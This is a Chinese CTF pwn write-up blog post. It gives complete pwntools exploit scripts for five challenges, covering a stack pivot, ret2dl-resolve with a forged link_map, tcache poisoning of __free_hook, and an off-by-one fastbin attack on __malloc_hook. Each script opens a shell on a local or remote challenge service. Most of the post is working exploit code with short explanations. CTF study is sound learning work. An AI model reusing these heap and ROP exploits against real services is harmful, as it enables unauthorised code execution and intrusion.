Loading... ### blackgive 栈迁移 #### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') context.terminal = ['tmux','splitw','-h'] sh = process("./blackgive") #sh = remote("") libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so") elf = ELF("./blackgive") pop_rdi_ret = 0x400813 bss_base = 0x6010A0 off = 0xA0 payload = 'paSsw0rd'.ljust(0x20,'\x00') payload += p64(bss_base + off - 0x8) + p64(0x4007A3) sh.recvuntil("password:") #gdb.attach(proc.pidof(sh)[0]) sh.send(payload) payload = '\x00' * off + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x40070a) sh.sendlineafter("!\n",payload) puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) libc_base = puts_addr - libc.sym['puts'] payload = 'paSsw0rd'.ljust(0x20,'\x00') payload += p64(0) + p64(libc_base + 0x4f432) sh.sendafter("password:",payload) sh.interactive() ``` ### without_leak 64 位 `ret2dl-resolve` 裸题。由于输出流都被关闭,所以无法实现 leak,考虑进行 `ret2dl-resolve`。由于提供了 `libc`,考虑通过伪造 `link_map` 结构体 getshell。打本地的时候,即便打通了也会有 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3374585519.png "></div> 这个 `Got EOF`,一般这个时候就是说明失败了,而且用 `exec 1>&0` 也无用,导致我浪费了很多时间调试。最后终于想到用 `mkdir` 测试一下才知道成功 getshell 了。 关于调试,由于我们的伪造,`sym->st_other` 是指向 `read@got - 8` 的,也就是 `close@got`,要保证 `close` 被解析过才能正常运行,否则会崩溃。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.terminal = ['tmux','splitw','-h'] #sh = process("./without_leak") sh = remote("182.92.108.71",30483) elf = ELF("./without_leak") bss_addr = 0x404B00 def ret2csu_payload(rbx,rbp,call_addr,argv1,argv2,argv3): csu1 = 0x40123A csu2 = 0x401220 payload = p64(csu1) payload += p64(0) + p64(1) + p64(argv1) + p64(argv2) + p64(argv3) + p64(call_addr) payload += p64(csu2) payload += p64(0) * 7 return payload def fake_Linkmap_payload(elf,fake_linkmap_addr,known_func_ptr,offset): plt0 = elf.get_section_by_name('.plt').header.sh_addr linkmap = p64(offset & (2 ** 64 - 1))#l_addr linkmap += p64(17)#l_name linkmap += p64(fake_linkmap_addr + 0x18)#l_ld linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))#l_next linkmap += p64(7)#l_prev linkmap += p64(0)#l_real linkmap += p64(0)#l_ns linkmap += p64(6)#l_libname linkmap += p64(known_func_ptr - 8)#l_info[0] tags linkmap += '/bin/sh\x00' linkmap = linkmap.ljust(0x68,'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,'A') linkmap += p64(fake_linkmap_addr + 8) resolve_call = p64(plt0 + 6) + p64(fake_linkmap_addr) + p64(0) return (linkmap,resolve_call) offset = 0x20 + 0x8 payload = '\x00' * offset libc = ELF("./libc-2.27.so") log.success('system offset:' + hex(libc.sym['system'])) fake_linkmap_addr = bss_addr + 0x100 linkmap, resolve_call = fake_Linkmap_payload(elf,fake_linkmap_addr,elf.got['read'],libc.sym['system'] - libc.sym['read']) payload += ret2csu_payload(0,1,elf.got['read'],0,fake_linkmap_addr,len(linkmap)) payload += p64(0x401156) #sh.sendafter('input> \n',rop.chain().ljust(0x200,'a')) sh.recvuntil('input> \n') #gdb.attach(proc.pidof(sh)[0]) sh.send(payload.ljust(0x200,'a')) sh.send(linkmap) payload = '\x00' * offset payload += p64(0x40101a) payload += p64(0x401243) payload += p64(fake_linkmap_addr + 0x48) payload += resolve_call sh.send(payload.ljust(0x200,'\x00')) sh.interactive() ``` ### todolist 这道题就不说了,和上周的题是几乎一样的 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') #sh = process("./todolist") sh = remote("182.92.108.71",30411) libc = ELF("./libc-2.27.so") def take(size): sh.sendlineafter("exit\n",'1') sh.sendlineafter("write?\n",str(size)) def delete(index): sh.sendlineafter("exit\n",'2') sh.sendlineafter("delete?\n",str(index)) def edit(payload,index): sh.sendlineafter("exit\n",'3') sh.sendlineafter("edit?\n",str(index)) sh.sendlineafter("write?\n",str(len(payload))) sh.send(payload) def show(index): sh.sendlineafter("exit\n",'4') sh.sendlineafter("check?\n",str(index)) take(2048)#index:0 take(0x100)#index:1 delete(0) show(0) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96 log.success("libc_base:" + hex(libc_base)) delete(1) #malloc_hook = libc_base + libc.symbols["__malloc_hook"] free_hook = libc_base + libc.symbols["__free_hook"] #log.success("malloc_hook:" + hex(malloc_hook)) #edit(p64(malloc_hook - 0x10),1) edit(p64(free_hook),1) take(0x100)#index:2 take(0x100)#index:3 one_gadget = libc_base + 0x4f432 realloc = libc_base + libc.symbols["__libc_realloc"] #payload = p64(one_gadget) + p64(realloc + 0xa) payload = p64(one_gadget) edit(payload,3) #take(0x200) delete(0) sh.interactive() ``` 看完之后就觉得这题可以用上周的 exp 来打,所以就 `cp` 了一下上周的,但是没看清所处的目录,一个 tab 一个回车之后我 blackgive 的 exp 就没了。 ### Library management System `off by one` <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/338423648.png "></div> 这个读入函数是会多读一个字节的,所以我们利用他来修改下一个 chunk 的 size 域。做法就是先申请4个 chunk,记作A,B,C,D。由于本题没有修改的功能,所以需要先 `free` A,再 `alloc` A,通过对 A `off by one` 修改 chunk B 的 `size` 域,使 chunk B 的 `size`为 B 和 C 的和(这是为了在 `free`的时候通过检测。同时这个和需要大于0x80,这样 `free`的时候才会进 `Unsorted Bin`)实现 `chunk overlapping`,然后 `free`掉 B,再把 B 申请回来就可以通过 `show`的功能 leak 出 libc。然后再来一轮,这次先 `free`掉 C,再对 B `chunk overlapping`,修改 C 的 fd,使之指向 `&__malloc_hook - 0x23`。指向这个奇怪地址的原因是因为 `fastbin` 会对目标 chunk 的 `size` 做检测 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/240291959.png "></div> 可见 `malloc` 附近并没有可以作为 `size` 。好在 `fastbin` 并不会对地址对齐做检测,所以我们通过字节错位来伪造出 `size`,也就是 从 `&__malloc_hook - 0x23` 开始的这个 chunk 了。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/4254668762.png "></div> 就是这样一个效果,我们就可以实现 `arbitrary alloc` 了。 #### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') #sh = process("./library") sh = remote("182.92.108.71",30431) libc = ELF("./libc.so.6") def Add(size,payload): sh.sendlineafter("choice: ",str(1)) sh.sendlineafter("title: ",str(size)) sh.sendafter("title: ",payload) def Delete(index): sh.sendlineafter("choice: ",str(2)) sh.sendlineafter("id: ",str(index)) def Show(index): sh.sendlineafter("choice: ",str(3)) sh.sendlineafter("id: ",str(index)) Add(24,'index:0\n') Add(48,'index:1\n') Add(64,'index:2\n') Add(16,'index:3\n')#avoid top chunk Delete(0) Add(24,'a' * 24 + '\x91') Delete(1) Add(48,'\n') Show(1) sh.recvuntil("is ") libc_base = u64(sh.recv(6).ljust(8,'\x00')) - (0x3C4B20 + 0x80 + 88) log.success('libc_base:' + hex(libc_base)) malloc_hook = libc_base + libc.symbols["__malloc_hook"] alloc_addr = malloc_hook - 0x23 one_gadget = libc_base + 0x4527a realloc_addr = libc_base + 0x84720 Add(0x40,'index:4\n') Add(24,'index:5\n') Add(16,'index:6\n') Add(0x68,'index:7\n') Add(16,'index:8\n')#avoid top chunk Delete(7) Delete(5) Add(24,'a' * 24 + '\x91') Delete(6) payload = 'a' * 16 + p64(0) + p64(0x71) + p64(alloc_addr) Add(112,payload + '\n') Add(0x68,'\n') Add(0x68,'a' * 0xB + p64(one_gadget) + p64(realloc_addr) + '\n') sh.sendlineafter("choice: ",str(1)) sh.sendlineafter("title: ",str(16)) #Add(16,'\n') sh.interactive() ``` ### todolist2 看了许久没看出漏洞点,最后终于发现是在 read 函数里 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1200345081.png "></div> 打个 -1 就可以随便输了。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * #context(log_level = 'debug') context.terminal = ['tmux','splitw','-h'] #sh = process("./todolist2") sh = remote("182.92.108.71",30521) libc = ELF("./libc-2.27.so") def take(size): sh.sendlineafter("exit\n",'1') sh.sendlineafter("write?\n",str(size)) def delete(index): sh.sendlineafter("exit\n",'2') sh.sendlineafter("delete?\n",str(index)) def edit(payload,index,size): sh.sendlineafter("exit\n",'3') sh.sendlineafter("edit?\n",str(index)) sh.sendlineafter("write?\n",str(size)) sh.send(payload) def show(index): sh.sendlineafter("exit\n",'4') sh.sendlineafter("check?\n",str(index)) take(0x410)#index:0 take(0x410)#index:1 take(0x20)#index:2 delete(0) delete(1) take(0x830)#index:3 show(3) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96 log.success("libc_base:" + hex(libc_base)) malloc_hook = libc_base + libc.symbols["__malloc_hook"] free_hook = libc_base + libc.symbols["__free_hook"] log.success("malloc_hook:" + hex(malloc_hook)) log.success("free_hook:" + hex(free_hook)) one_gadget = libc_base + 0x4f432 log.success("one_gadget:" + hex(one_gadget)) '''----------- above dumped libc ----------''' take(0x100)#index:4 take(0x100)#index:5 delete(5) edit('a' * 0x100 + p64(0) + p64(0x111) + p64(free_hook) + '\n',4,-1) #edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook) + '\n',4,-1) #edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook - 0x10) + '\n',4,-1) take(0x100)#index:6 take(0x100)#index:7 realloc = libc_base + libc.symbols["__libc_realloc"] #payload = p64(one_gadget) + p64(realloc + 0xa) payload = p64(one_gadget) edit(payload,7,len(payload)) #gdb.attach(proc.pidof(sh)[0]) #take(0x200) delete(2) sh.interactive() ``` 最后修改:2021 年 02 月 22 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧